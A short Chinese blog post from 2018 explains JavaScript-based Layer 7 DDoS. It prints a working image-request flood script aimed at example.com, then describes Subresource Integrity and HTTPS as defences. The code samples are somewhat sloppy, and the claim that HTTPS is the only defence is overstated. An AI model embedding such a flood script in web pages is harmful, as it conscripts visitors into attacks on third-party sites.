前端-DDoS攻击

下面的脚本(略有修改)就会向受害网站发送大量的请求:

function imgflood() {   
  var TARGET = 'example.com'  
  var URI = '/index.php?'  
  var pic = new Image()  
  var rand = Math.floor(Math.random() * 1000)  
  pic.src = 'http://'+TARGET+URI+rand+'=val'  
}  
setInterval(imgflood, 10)  

该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“example.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “example.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。

如果攻击者在一个网站中嵌入了恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。

预防:

<script src="https://code.jquery.com/jquery-1.10.2.min.js">              # 在前端代码里加上这个

浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。

<script src="https://code.jquery.com/jquery-1.10.2.min.js"    
        integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="  
         crossorigin="anonymous">  

建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。

位于浏览器和服务器间的中间人可以任意修改数据,包括更改HTML内容或者JavaScript脚本。而如果中间人走偏了,做了一些恶意的事情,如向页面中添加恶意JavaScript并执行,那后果一样很严重 (也就是所谓的中间人攻击)。

基于JavaScript的DDOS攻击越来越频发,防御这一攻击的唯一方式是全面启用HTTPS。

参考链接:https://blog.csdn.net/momo_mutou/article/details/49948437

posted @ 2018-06-28 11:07 前方、有光 阅读(...) 评论(...) 编辑 收藏